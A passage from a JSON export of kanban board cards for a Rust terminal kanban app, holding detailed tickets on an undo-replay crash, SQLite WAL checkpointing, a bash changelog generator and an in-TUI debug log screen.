        "description": "## Symptom\n\nLaunch `kanban kanban.json` against an existing file. Press undo without making any changes. The TUI crashes with a 'card not found' error and the visible board state is garbled / appears wiped until the application is restarted.\n\n---\n\n## Root Cause\n\n### The two undo paths\n\n`KanbanContext::undo()` branches on `backend.supports_indexed_snapshots()`:\n\n- **SQLite / InMemory** (`true`): undo loads the pre-stored snapshot for cursor position N-1 and applies it directly. Fast and safe.\n- **JSON** (`false`): undo applies the session baseline snapshot, then **replays every stored command from index 0 to cursor-1** via `cmd.execute()`.\n\n### Commands accumulate across sessions\n\nThe JSON backend persists its command log inside `kanban.json`. It is never cleared between sessions. On session start, `initialize_undo_state()` sets:\n\n```\ncount    = backend.command_count()   // all commands ever stored\nbaseline = load_snapshot_at(0)       // the original baseline (before those commands)\ncursor   = count\n```\n\n### The replay fails\n\nWhen the user presses undo on a fresh session (no new commands made), the replay re-executes all historical commands from every previous session against the stored baseline. Those commands may reference entity UUIDs (cards, columns, sprints) that have since been deleted or archived. Any such command fails with `KanbanError::not_found(\"card\", id)`.\n\n### No rollback on undo failure\n\nUnlike `execute()`, which captures a before-state and rolls back on error, `undo()` has no recovery path. When the replay fails midway through `context.rs:284`, the backend is left in a partially-applied state: baseline applied + some historical commands re-executed. This is neither the pre-undo state nor any valid previous state — hence the apparent data wipe.\n\n### Relevant code paths\n\n| Location | Role |\n|---|---|\n| `kanban-service/src/context.rs:246` | `undo()` — no rollback on replay failure |\n| `kanban-service/src/context.rs:274-288` | Non-indexed replay loop |\n| `kanban-service/src/context.rs:143` | `initialize_undo_state()` — preserves historical commands |\n| `kanban-service/src/json_backend.rs:370` | `supports_indexed_snapshots() = false` |\n\n---\n\n## Fix options\n\n### Option A — Clear stale command history on session start (targeted fix)\n\nIn `initialize_undo_state()`, when the backend does not support indexed snapshots and there are pre-existing stored commands, call `clear_history()` to discard them and start fresh. Historical commands from previous sessions cannot be safely replayed against the current snapshot anyway.\n\n```rust\npub fn initialize_undo_state(&mut self) -> KanbanResult<()> {\n    if self.baseline_snapshot.is_none() {\n        let count = self.backend.command_count()? as usize;\n        if count > 0 && !self.backend.supports_indexed_snapshots() {\n            // Cannot safely replay cross-session commands; start clean.\n            let baseline = self.backend.snapshot()?;\n            self.baseline_snapshot = Some(baseline);\n            self.backend.truncate_commands_after(0)?;\n            self.undo_cursor = 0;\n            self.command_count = 0;\n        } else {\n            // existing logic ...\n        }\n    }\n    Ok(())\n}\n```\n\n### Option B — Add rollback to the undo replay path (defensive fix)\n\nCapture the before-state before applying the baseline, and restore it if the replay fails. This prevents the corrupted-state symptom regardless of why the replay fails.\n\n```rust\n// in undo(), before apply_snapshot(baseline):\nlet before = self.backend.snapshot()?;\nif let Err(e) = replay() {\n    self.backend.apply_snapshot(before)?;\n    self.undo_cursor += 1; // restore cursor\n    return Err(e);\n}\n```\n\n### Recommendation\n\n**Both A and B.** Option A fixes the root cause — stale cross-session commands should never exist on the JSON backend. Option B is a safety net that prevents any future replay failure from corrupting visible state.\n\n---\n\n## Verification\n\n1. Create some cards. Quit. Re-launch with the same file. Press undo. Should be a no-op (no in-session commands to undo) with no error.\n2. Create a card in session 1. Quit. Delete the card in session 2 via CLI. Re-launch. Press undo. Should be a no-op, not a crash.",
        "due_date": null,
        "id": "8498c1ca-129d-4360-a260-fca53868cbac",
        "points": null,
        "position": 154,
        "priority": "High",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "Regression: undo crashes with 'card not found' and corrupts in-memory state on JSON backend",
        "updated_at": "2026-05-10T15:13:22.450625288Z"
      },
      {
        "card_number": 383,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-10T15:13:26.056629646Z",
        "created_at": "2026-04-27T13:12:35.566072499Z",
        "description": "## Root cause\n\nOn the SQLite backend, `delete_archived_card` was only deleting from the `archived_cards` table. The `cards` table still held the record because the archive operation had soft-deleted it there (set `archived = true`) rather than removing the row. When SQLite returned the card list, the row reappeared as an active card.\n\n## What was done\n\n### Fix: delete_archived_card (KAN-383 core bug)\n- `delete_archived_card` now deletes from both `archived_cards` and `cards` in a single transaction.\n- Added explicit WAL checkpoint after the delete so the removal is immediately durable without needing a separate save call.\n\n### Fix: WAL never checkpointed on other mutations (systemic gap)\nEvery other mutation (create card, update card, move, archive, undo, redo) was leaving WAL pages unchecked until app exit. Two-phase fix:\n\n**Phase 1 — plumbing:**\n- Added `flush()` as a default no-op to `DataStore` trait (`kanban-domain`).\n- `SqliteStore` overrides it to run `PRAGMA wal_checkpoint(TRUNCATE)`.\n- `KanbanContext::save()` calls `flush()` on the SQLite path (where `store` is `None`) instead of silently returning `Ok(())`.\n- `TuiContext` gained matching `flush()` calls in `execute_commands_batch`, `undo`, `redo`, and `with_snapshot`.\n\n**Phase 2 — refactor (service-layer ownership):**\n- Moved `flush()` into `KanbanContext::execute()`, `undo()`, and `redo()` directly, so every mutation checkpoints the WAL regardless of whether the caller is TUI, CLI, or MCP.\n- Removed all backend-aware branching (`has_save_channel()` + explicit `flush()`) from `TuiContext`. The save coordinator remains for its intended purpose (debounced async JSON saves) but is no longer entangled with WAL management.\n- TUI, CLI, and MCP now go through identical service-layer code for durability — no interface-specific divergence.\n\n## Files changed\n- `crates/kanban-persistence-sqlite/src/sqlite_store.rs` — delete_archived_card fix; flush() override\n- `crates/kanban-domain/src/data_store.rs` — flush() default on DataStore\n- `crates/kanban-service/src/context.rs` — flush() in execute/undo/redo; save() fix\n- `crates/kanban-tui/src/tui_context.rs` — removed backend-aware flush logic\n\n## Tests added\n- `test_delete_archived_card_checkpoints_wal` (persistence-sqlite)\n- `test_save_checkpoints_wal_on_sqlite_path` (service)\n- `test_execute_checkpoints_wal_without_save` (service)\n- `test_tui_execute/undo/redo_checkpoints_wal_on_sqlite_path` (tui)\n\n## Branch\n`KAN-383/bug-x-in-archived-cards-view-restores-card-instead-of-hard-deleting-it-sqlite`",
        "due_date": null,
        "id": "fa2e8add-bc47-4636-a5e6-9841b5704f8a",
        "points": 1,
        "position": 155,
        "priority": "High",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245090993Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126588716Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245091592Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Bug: x in archived cards view restores card instead of hard-deleting it (SQLite)",
        "updated_at": "2026-05-10T15:13:26.056629698Z"
      },
      {
        "card_number": 350,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-18T04:49:44.784492831Z",
        "description": "## Context\n\nThe current changeset mechanism (`.changeset/*.md`) populates the CHANGELOG by dumping git commit messages verbatim. This produces changelogs like:\n\n```\n- refactor(service): replace blanket KanbanBackend impl with manual impls\n- fix(domain): only upsert cards whose sprint logs actually changed in MigrateSprintLogs\n- feat(persistence-sqlite): implement CommandStore for SqliteDataStore\n```\n\nThese are useful for developers reviewing PRs, but meaningless to stakeholders reading a changelog. A user doesn't care that we \"replaced blanket KanbanBackend impl with manual impls\" — they care that \"SQLite databases open faster and undo/redo is instant.\"\n\n## Problems\n\n1. Changelogs read like `git log --oneline`, not release notes\n2. No categorization by impact type (features, fixes, deprecations, breaking changes)\n3. Internal refactorings appear alongside user-facing changes with equal weight\n4. No distinction between what was added, changed, removed, or deprecated\n5. **Date headers are wrong** — changeset entries created days/weeks before a release get stamped with the release date, not the date the change was actually made. All entries under a version appear to have happened on the same day, losing the development timeline. The date should reflect when the changeset was authored (or the merge date), not when `changelog generate` runs.\n\n## Proposed format\n\nChangeset files should use a structured, stakeholder-facing format:\n\n```markdown\n---\nbump: minor\n---\n\n### Added\n- SQLite storage backend — use `.sqlite`, `.sqlite3`, or `.db` file extensions\n- Command-replay undo/redo system with full history persistence\n\n### Changed\n- Undo/redo operations now return `KanbanResult<bool>` instead of `bool`\n\n### Fixed\n- SQLite databases missing `card_counter` column now auto-migrate on open\n\n### Removed\n- `SqliteBlobStore` and `SqliteStoreFactory`\n\n### Internal\n- `DataStore` + `CommandStore` trait architecture\n```\n\n## Date header fix\n\nThe changelog generator should derive dates from either:\n- The changeset file's git commit date (`git log --format=%aI -- .changeset/foo.md`)\n- A `date` field in the changeset frontmatter (e.g. `date: 2026-04-18`)\n- The merge commit date of the PR that introduced the changeset\n\nNot from the date `changelog generate` is invoked.\n\n## Automated generation\n\nThe stakeholder-facing text can be generated automatically rather than written by hand. Two tiers: deterministic (no dependencies) and LLM-enhanced (local, zero cost).\n\n### Tier 1: Deterministic generator (no LLM)\n\nA shell script that parses conventional commit messages and categorizes them under Keep-a-Changelog headers. No rewriting — the commit messages appear as-is, but grouped correctly. This is the baseline that should always exist.\n\n**Full implementation:**\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\n# generate-changeset.sh — deterministic changeset from conventional commits\n# Usage: ./scripts/generate-changeset.sh [base-branch] [output-file]\n#\n# Reads git log from base branch to HEAD, parses conventional commit\n# prefixes, and outputs a categorized changeset in Keep-a-Changelog format.\n\nBASE_BRANCH=\"${1:-develop}\"\nOUTPUT_FILE=\"${2:-.changeset/generated.md}\"\n\n# Verify we have commits to process\nCOMMIT_COUNT=$(git rev-list --count \"$BASE_BRANCH..HEAD\" 2>/dev/null || echo 0)\nif [ \"$COMMIT_COUNT\" -eq 0 ]; then\n    echo \"No commits found between $BASE_BRANCH and HEAD\" >&2\n    exit 1\nfi\n\n# Collect commits, stripping hash prefix\nCOMMITS=$(git log --oneline --reverse \"$BASE_BRANCH..HEAD\" | sed 's/^[a-f0-9]* //')\n\n# Category buckets\nADDED=\"\"\nCHANGED=\"\"\nFIXED=\"\"\nREMOVED=\"\"\nINTERNAL=\"\"\n\nwhile IFS= read -r msg; do\n    # Skip empty lines\n    [ -z \"$msg\" ] && continue\n\n    # Strip conventional commit prefix: type(scope): description\n    # Capture type and the description after the colon\n    if [[ \"$msg\" =~ ^([a-z]+)(\\([^)]*\\))?:\\ (.+)$ ]]; then\n        TYPE=\"${BASH_REMATCH[1]}\"\n        SCOPE=\"${BASH_REMATCH[2]}\"  # includes parens, e.g. (domain)\n        DESC=\"${BASH_REMATCH[3]}\"\n\n        # Strip parens from scope for display\n        SCOPE_CLEAN=\"${SCOPE#(}\"\n        SCOPE_CLEAN=\"${SCOPE_CLEAN%)}\"\n\n        # Format: \"description\" or \"scope: description\" for non-obvious scopes\n        if [ -n \"$SCOPE_CLEAN\" ]; then\n            ENTRY=\"$SCOPE_CLEAN: $DESC\"\n        else\n            ENTRY=\"$DESC\"\n        fi\n    else\n        # Non-conventional commit — put in Internal\n        ENTRY=\"$msg\"\n        TYPE=\"chore\"\n    fi\n\n    case \"$TYPE\" in\n        feat)\n            ADDED=\"${ADDED}- ${ENTRY}\\n\"\n            ;;\n        fix)\n            FIXED=\"${FIXED}- ${ENTRY}\\n\"\n            ;;\n        refactor|perf)\n            # Refactors that remove things go to Removed if description\n            # contains \"remove\", \"delete\", \"drop\"\n            if echo \"$DESC\" | grep -qiE '\\b(remove|delete|drop|rip out)\\b'; then\n                REMOVED=\"${REMOVED}- ${ENTRY}\\n\"\n            else\n                CHANGED=\"${CHANGED}- ${ENTRY}\\n\"\n            fi\n            ;;\n        test|docs|ci|build|style)\n            INTERNAL=\"${INTERNAL}- ${ENTRY}\\n\"\n            ;;\n        chore)\n            INTERNAL=\"${INTERNAL}- ${ENTRY}\\n\"\n            ;;\n        *)\n            INTERNAL=\"${INTERNAL}- ${ENTRY}\\n\"\n            ;;\n    esac\ndone <<< \"$COMMITS\"\n\n# Determine bump level from commit types\nif echo \"$COMMITS\" | grep -qE '^feat'; then\n    BUMP=\"minor\"\nelif echo \"$COMMITS\" | grep -qE '^fix'; then\n    BUMP=\"patch\"\nelse\n    BUMP=\"patch\"\nfi\n\n# Check for BREAKING CHANGE footer or ! suffix → major\nif git log \"$BASE_BRANCH..HEAD\" --format=\"%B\" | grep -qE '^BREAKING CHANGE:|^[a-z]+(\\([^)]*\\))?!:'; then\n    BUMP=\"major\"\nfi\n\n# Build output\n{\n    echo \"---\"\n    echo \"bump: $BUMP\"\n    echo \"---\"\n    echo \"\"\n\n    if [ -n \"$ADDED\" ]; then\n        echo \"### Added\"\n        echo -e \"$ADDED\"\n    fi\n    if [ -n \"$CHANGED\" ]; then\n        echo \"### Changed\"\n        echo -e \"$CHANGED\"\n    fi\n    if [ -n \"$FIXED\" ]; then\n        echo \"### Fixed\"\n        echo -e \"$FIXED\"\n    fi\n    if [ -n \"$REMOVED\" ]; then\n        echo \"### Removed\"\n        echo -e \"$REMOVED\"\n    fi\n    if [ -n \"$INTERNAL\" ]; then\n        echo \"### Internal\"\n        echo -e \"$INTERNAL\"\n    fi\n} > \"$OUTPUT_FILE\"\n\necho \"Generated changeset at $OUTPUT_FILE ($COMMIT_COUNT commits, bump: $BUMP)\" >&2\n```\n\n**What this gives you:**\n- `feat(*)` → Added\n- `fix(*)` → Fixed  \n- `refactor(*)` with \"remove/delete/drop\" in message → Removed\n- `refactor(*)` / `perf(*)` → Changed\n- `test/docs/ci/chore(*)` → Internal\n- Auto-detects bump level (patch/minor/major) from commit types + BREAKING CHANGE\n- Zero dependencies — pure bash, works in any environment\n\n**What it doesn't give you:**\n- Rewriting developer jargon into stakeholder language (\"implement CommandStore for SqliteDataStore\" stays as-is)\n- Deduplication of related commits (5 test-update commits stay as 5 entries)\n- Grouping sub-features under a single high-level bullet\n\n**Example output from KAN-348 branch:**\n```markdown\n---\nbump: minor\n---\n\n### Added\n- domain: add serde derives to FieldUpdate and domain update types\n- domain: replace Command trait with hierarchical Command enum\n- service: replace HistoryManager with cursor-based undo/redo\n- tui: update to use Command enum\n- persistence: add command log methods to PersistenceStore trait\n- persistence-sqlite: implement SqliteDataStore with real SQL queries\n- ...\n\n### Fixed\n- persistence-sqlite: add card_counter column migration for older databases\n- tui: eliminate O(n²) card cloning in render loop\n- tui: skip redundant redraws when no state has changed\n- tui: drain buffered key events before redraw to prevent input lag\n- ...\n\n### Removed\n- domain: remove UndoPointId and undo-point methods from DataStore trait\n- domain: remove InMemoryDataStore; use InMemoryStore everywhere\n- persistence: remove command log methods from PersistenceStore\n- persistence-sqlite: delete SqliteBlobStore, SqliteStoreFactory and helper modules\n- ...\n\n### Internal\n- test(persistence): add command log contract tests\n- test(persistence-sqlite): add SqliteDataStore contract tests\n- chore: cargo fmt\n- ...\n```\n\nThis is already much better than a flat commit list — categorized and scannable. Layer Tier 2 on top for polished prose.\n\n### Tier 2: Local LLM enhancement (zero cost)\n\nTakes the Tier 1 output and rewrites it using a locally-hosted model. The input is small (~2-5KB) and the task is straightforward summarization/categorization.\n\n**Candidate models (via Ollama or llama.cpp):**\n- `mistral-small` (24B) — good at structured output, runs on 16GB+ VRAM\n- `qwen2.5-coder` (7B/14B) — understands code context, minimal hardware\n- `llama3.1` (8B) — general purpose, fast inference on CPU\n- `phi-3` (3.8B) — smallest viable option, runs anywhere\n\n**Enhancement script (wraps Tier 1):**\n```bash\n#!/usr/bin/env bash\n# generate-changeset-enhanced.sh — LLM-polished changeset\nBASE_BRANCH=\"${1:-develop}\"\n\n# Generate deterministic baseline\n./scripts/generate-changeset.sh \"$BASE_BRANCH\" /tmp/changeset-raw.md\n\nRAW=$(cat /tmp/changeset-raw.md)\n\nPROMPT=\"You are editing a changelog for a terminal-based kanban app.\nBelow is a categorized list of changes generated from git commits.\nRewrite each entry to be stakeholder-facing:\n- Merge related commits into single bullets (e.g. 5 test updates → one line)\n- Replace developer jargon with user-visible impact\n- Keep the ### headers and --- frontmatter exactly as-is\n- Keep entries concise (one line each)\n\n$RAW\"\n\nollama run mistral-small \"$PROMPT\"\n```\n\n**Integration options:**\n- Standalone script invoked manually before PR\n- Claude Code skill (`/changeset`) that shells out to `ollama`\n- Git hook (pre-push or post-merge)\n- Nix shell includes `ollama` so it's available in the dev environment\n\n## Implementation plan\n\n1. **Phase 1**: Add the Tier 1 bash script to `scripts/generate-changeset.sh`\n2. **Phase 2**: Add changeset format guidelines to CLAUDE.md and CONTRIBUTING.md\n3. **Phase 3** (optional): Add Tier 2 LLM wrapper script\n4. **Phase 4**: Fix date header bug in changelog generator\n\n## Files to change\n\n| File | Change |\n|------|--------|\n| `scripts/generate-changeset.sh` | Tier 1 deterministic generator |\n| `scripts/generate-changeset-enhanced.sh` | Tier 2 LLM wrapper (optional) |\n| `CLAUDE.md` | Add changeset format guidelines under a new \"Changesets\" section |\n| `CONTRIBUTING.md` | Document the expected changeset format for contributors |\n| `.changeset/TEMPLATE.md` | Optional template file |\n| Changelog generator | Fix date derivation to use changeset authoring date, not generation date |",
        "due_date": null,
        "id": "78b2ecd2-9638-4c01-b205-24f60c9e3456",
        "points": 2,
        "position": 155,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245126173Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126626044Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245127094Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Replace git-commit-based changelogs with stakeholder-facing release notes",
        "updated_at": "2026-05-07T22:06:15.245127691Z"
      },
      {
        "card_number": 371,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-10T15:13:28.878022532Z",
        "created_at": "2026-04-27T09:47:16.349435784Z",
        "description": "## Where / Why / How\n\n**Where:** kanban-persistence-sqlite crate - SqliteStore implementation\n\n**Why:** SQLite WAL (Write-Ahead Logging) mode is enabled for concurrency, but changes remain in .wal file instead of being flushed to main database. This makes backups incomplete and can cause data loss if not properly checkpointed.\n\n**How:** Add explicit checkpoint functionality:\n1. Implement checkpoint method in SqliteStore that executes PRAGMA wal_checkpoint(TRUNCATE)\n2. Call checkpoint on graceful shutdown (drop/close for SqliteStore)\n3. Consider periodic checkpoints during long-running operations\n4. Optionally expose as public CLI command (kanban checkpoint)\n\n## Current State\n- WAL mode enabled: .pragma(\"journal_mode\", \"wal\")\n- Changes written to docs/sock-wal\n- No explicit checkpoint mechanism\n- WAL file can grow large (multiple MB) without consolidation\n\n## Implementation Scope\n\n### Phase 1: Core Fix (20 minutes) ✅\n**Files:** `crates/kanban-persistence-sqlite/src/sqlite_store.rs`\n\n1. Add checkpoint method (line ~250):\n```rust\npub async fn checkpoint(&self) -> KanbanResult<()> {\n    sqlx::query(\"PRAGMA wal_checkpoint(TRUNCATE)\")\n        .execute(&self.pool)\n        .await\n        .map_err(|e| KanbanError::Database(e.to_string()))?;\n    Ok(())\n}\n```\n\n2. Call checkpoint in PersistenceStore::save() (line 1630-1637):\n```rust\nasync fn save(&self, snapshot: StoreSnapshot) -> PersistenceResult<PersistenceMetadata> {\n    let domain_snapshot: Snapshot = serde_json::from_slice(&snapshot.data)...?;\n    self.apply_snapshot_async(domain_snapshot).await...?;\n    self.checkpoint().await.ok();  // <-- ADD THIS: flush WAL to main db\n    Ok(PersistenceMetadata::new(self.instance_id))\n}\n```\n\n**Impact:** Every save operation (card create, update, etc.) automatically consolidates WAL into main database.\n\n### Phase 2: CLI Command (optional, 15 minutes)\n**Files:** `crates/kanban-cli/src/main.rs`\n\nAdd subcommand:\n```bash\nkanban docs/sock checkpoint\n```\n\n### Phase 3: Graceful Shutdown (optional, advanced)\n**Files:** `crates/kanban-tui/src/main.rs` or `crates/kanban-cli/src/main.rs`\n\nEnsure checkpoint runs before exit.\n\n## Example: Current Problem\n```\nBefore fix:\n$ ls -lh docs/sock*\ndocs/sock      229K  (main database)\ndocs/sock-wal  2.3M  (unwritten changes!)\ndocs/sock-shm  32K   (shared memory)\n\nAfter fix (following any save operation):\n$ ls -lh docs/sock*\ndocs/sock      231K  (consolidated)\ndocs/sock-wal  32K   (minimal)\ndocs/sock-shm  32K   (shared memory)\n```\n\n## Done Condition\n- [ ] SqliteStore has public checkpoint() async method\n- [ ] Checkpoint executes PRAGMA wal_checkpoint(TRUNCATE)\n- [ ] Called in PersistenceStore::save() after apply_snapshot_async\n- [ ] docs/sock main database consolidates from .wal file on every save\n- [ ] .wal file size remains minimal after operations\n- [ ] No data loss or corruption on checkpoint\n- [ ] Tests pass (existing tests should pass as-is)\n- [ ] Optional: kanban CLI has 'checkpoint' subcommand for manual triggering\n- [ ] Optional: graceful shutdown ensures checkpoint before exit\n\n## Blocker For\n- lost-sock PR #6 (Nix flake + devshell) - depends on reliable kanban board persistence",
        "due_date": null,
        "id": "96611c0d-0a93-4951-a298-83045e631ea7",
        "points": null,
        "position": 156,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245087267Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126594543Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245088030Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "kanban-sqlite: Add explicit WAL checkpoint on app exit",
        "updated_at": "2026-05-10T15:13:28.878022769Z"
      },
      {
        "card_number": 351,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-18T05:04:38.382938430Z",
        "description": "## Context\n\nWhen the TUI is running, internal warnings from the `tracing` crate appear as raw text inline in the terminal interface. Example from screenshot:\n\n```\n026-04-18T04:58:21.227836Z  WARN kanban_tui::app: Could not spawn save worker: no store available\n```\n\nThis appears mid-screen, overlapping the rendered UI, making the app look broken.\n\n## Root cause\n\n**Tracing writes to stderr while ratatui owns the terminal.**\n\nThe tracing subscriber is configured in `crates/kanban-cli/src/app.rs` `init_tracing()`:\n\n```rust\n// Default mode (no KANBAN_DEBUG_LOG env var):\nlet fmt_layer = tracing_subscriber::fmt::layer()\n    .with_writer(std::io::stderr)   // ← writes directly to terminal\n    .with_filter(LevelFilter::WARN);\n```\n\nratatui enters alternate screen mode via `EnterAlternateScreen`, which renders to a dedicated terminal buffer. But stderr writes bypass this buffer entirely. Any `tracing::warn!()` or `tracing::error!()` call produces raw text that corrupts the TUI.\n\nThe app does have a user-facing error system — `App::set_error(msg)` creates a `Banner` overlay that auto-clears after 3 seconds. But internal warnings use `tracing::warn!()` instead, which leaks to stderr.\n\n## Emission points that can corrupt the TUI\n\nAll in `crates/kanban-tui/src/app/mod.rs` unless noted:\n\n**Warnings (visible with default WARN filter):**\n- Line 222-225: Backend auto-correction\n- Line 410-412: File watching start failure\n- Line 449: \"Could not spawn save worker: no store available\" ← the reported issue\n- Line 659: Quit with pending saves\n- Line 1500-1510: Ended sprints notification\n- Line 1750-1753: File watching setup failure\n- Line 1966-1969: File watcher event lag\n- Line 1998: Metadata load failure for instance check\n- Line 2014: External file change detected\n\n**Errors (also visible):**\n- Line 378: Serialization failure\n- Line 419, 427, 432, 435: Save worker errors\n- Line 1140, 1161: Archive/delete failures\n- Line 1577, 1643: Board/card update failures\n- Line 1686: Parse failure\n- Line 1709, 1715: Store load/deserialize failures\n- Line 1973: File change receiver error\n- Line 2064, 2090: Board import failures\n- Line 2114, 2119: State reloading failures\n- Line 2131: Sprint log migration failure\n\n**Service layer:**\n- `crates/kanban-service/src/context.rs` line 195: Rollback failure\n\n**No `println!` or `eprintln!` found** in TUI or service crates — only tracing macros.\n\n## Proposed fix: In-TUI log capture and debug screen\n\nBuild an abstraction layer that intercepts tracing output and routes it into a ring buffer, then render a full-screen debug view (like the help screen) that can be toggled. Errors should be visible in the UI, not suppressed.\n\n### Architecture\n\n```\ntracing::warn!(\"msg\")\n        │\n        ▼\n┌─────────────────────┐\n│  Custom tracing Layer │  ← intercepts all tracing events\n│  (TuiLogLayer)        │\n└────────┬────────────┘\n         │\n         ▼\n┌─────────────────────┐\n│  LogBuffer (ring)    │  ← Arc<Mutex<VecDeque<LogEntry>>>\n│  capacity: 100       │     shared between tracing layer and App\n└────────┬────────────┘\n         │\n         ▼\n┌─────────────────────────────────────────────┐\n│  TUI rendering                               │\n│                                              │\n│  ⚠ status bar indicator (always)            │\n│       │                                      │\n│       ├── auto-switch to debug screen on ERR │\n│       └── F12: toggle debug screen manually  │\n└──────────────────────────────────────────────┘\n```\n\n### 1. LogBuffer — shared ring buffer\n\n```rust\n// crates/kanban-tui/src/log_buffer.rs\n\nuse std::collections::VecDeque;\nuse std::sync::{Arc, Mutex};\nuse chrono::{DateTime, Utc};\n\n#[derive(Clone, Debug)]\npub enum LogLevel {\n    Warn,\n    Error,\n}\n\n#[derive(Clone, Debug)]\npub struct LogEntry {\n    pub timestamp: DateTime<Utc>,\n    pub level: LogLevel,\n    pub target: String,\n    pub message: String,\n}\n\n#[derive(Clone)]\npub struct LogBuffer {\n    entries: Arc<Mutex<VecDeque<LogEntry>>>,\n    capacity: usize,\n}\n\nimpl LogBuffer {\n    pub fn new(capacity: usize) -> Self {\n        Self {\n            entries: Arc::new(Mutex::new(VecDeque::with_capacity(capacity))),\n            capacity,\n        }\n    }\n\n    pub fn push(&self, entry: LogEntry) {\n        let mut entries = self.entries.lock().unwrap();\n        if entries.len() >= self.capacity {\n            entries.pop_front();\n        }\n        entries.push_back(entry);\n    }\n\n    pub fn recent(&self, n: usize) -> Vec<LogEntry> {\n        let entries = self.entries.lock().unwrap();\n        entries.iter().rev().take(n).cloned().collect()\n    }\n\n    pub fn has_errors_since(&self, since: DateTime<Utc>) -> bool {\n        let entries = self.entries.lock().unwrap();\n        entries.iter().rev()\n            .take_while(|e| e.timestamp >= since)\n            .any(|e| matches!(e.level, LogLevel::Error))\n    }\n\n    pub fn len(&self) -> usize {\n        self.entries.lock().unwrap().len()\n    }\n\n    pub fn clear(&self) {\n        self.entries.lock().unwrap().clear();\n    }\n}\n```\n\n### 2. TuiLogLayer — custom tracing Layer\n\n```rust\n// crates/kanban-tui/src/log_layer.rs\n\nuse tracing::{Event, Subscriber};\nuse tracing_subscriber::layer::Context;\nuse tracing_subscriber::Layer;\n\npub struct TuiLogLayer {\n    buffer: LogBuffer,\n}\n\nimpl TuiLogLayer {\n    pub fn new(buffer: LogBuffer) -> Self {\n        Self { buffer }\n    }\n}\n\nimpl<S: Subscriber> Layer<S> for TuiLogLayer {\n    fn on_event(&self, event: &Event<'_>, _ctx: Context<'_, S>) {\n        let metadata = event.metadata();\n        let level = match *metadata.level() {\n            tracing::Level::ERROR => LogLevel::Error,\n            tracing::Level::WARN => LogLevel::Warn,\n            _ => return,\n        };\n\n        let mut visitor = MessageVisitor::default();\n        event.record(&mut visitor);\n\n        self.buffer.push(LogEntry {\n            timestamp: chrono::Utc::now(),\n            level,\n            target: metadata.target().to_string(),\n            message: visitor.message,\n        });\n    }\n}\n\n#[derive(Default)]\nstruct MessageVisitor {\n    message: String,\n}\n\nimpl tracing::field::Visit for MessageVisitor {\n    fn record_str(&mut self, field: &tracing::field::Field, value: &str) {\n        if field.name() == \"message\" {\n            self.message = value.to_string();\n        }\n    }\n    fn record_debug(&mut self, field: &tracing::field::Field, value: &dyn std::fmt::Debug) {\n        if field.name() == \"message\" {\n            self.message = format!(\"{:?}\", value);\n        }\n    }\n}\n```\n\n### 3. Wire into tracing subscriber\n\n```rust\n// crates/kanban-cli/src/app.rs — init_tracing()\n\npub fn init_tracing(log_buffer: Option<LogBuffer>) -> KanbanResult<()> {\n    let registry = tracing_subscriber::registry();\n\n    let file_layer = if let Ok(log_path) = std::env::var(\"KANBAN_DEBUG_LOG\") {\n        let log_file = std::fs::File::create(log_path)?;\n        Some(tracing_subscriber::fmt::layer()\n            .with_writer(log_file)\n            .with_ansi(false)\n            .with_filter(LevelFilter::DEBUG))\n    } else {\n        None\n    };\n\n    let tui_layer = log_buffer.map(|buf| TuiLogLayer::new(buf));\n\n    // stderr ONLY in non-TUI mode (CLI commands)\n    let stderr_layer = if tui_layer.is_none() {\n        Some(tracing_subscriber::fmt::layer()\n            .with_writer(std::io::stderr)\n            .with_filter(LevelFilter::WARN))\n    } else {\n        None\n    };\n\n    registry\n        .with(file_layer)\n        .with(tui_layer)\n        .with(stderr_layer)\n        .init();\n\n    Ok(())\n}\n```\n\n### 4. Debug screen — full-screen overlay\n\nA separate screen (like the existing help screen), not a docked panel. Toggled by F12 or auto-shown on ERROR. Shows the full log buffer with scrolling.\n\n**Behavior:**\n- `F12`: Toggle to/from debug screen (like `?` toggles help)\n- Auto-switches to debug screen when an ERROR-level entry arrives\n- `q`, `Esc`, or `F12`: return to previous screen\n- `c`: clear the buffer\n- `j`/`k`: scroll through entries\n- Replaces the main view entirely while open — no layout compression\n\n**How it looks:**\n```\n┌─ Debug Log (F12 or Esc to close, c to clear) ──────────────────────┐\n│                                                                     │\n│ 04:58:21 WARN  [kanban_tui::app]                                   │\n│   Could not spawn save worker: no store available                   │\n│                                         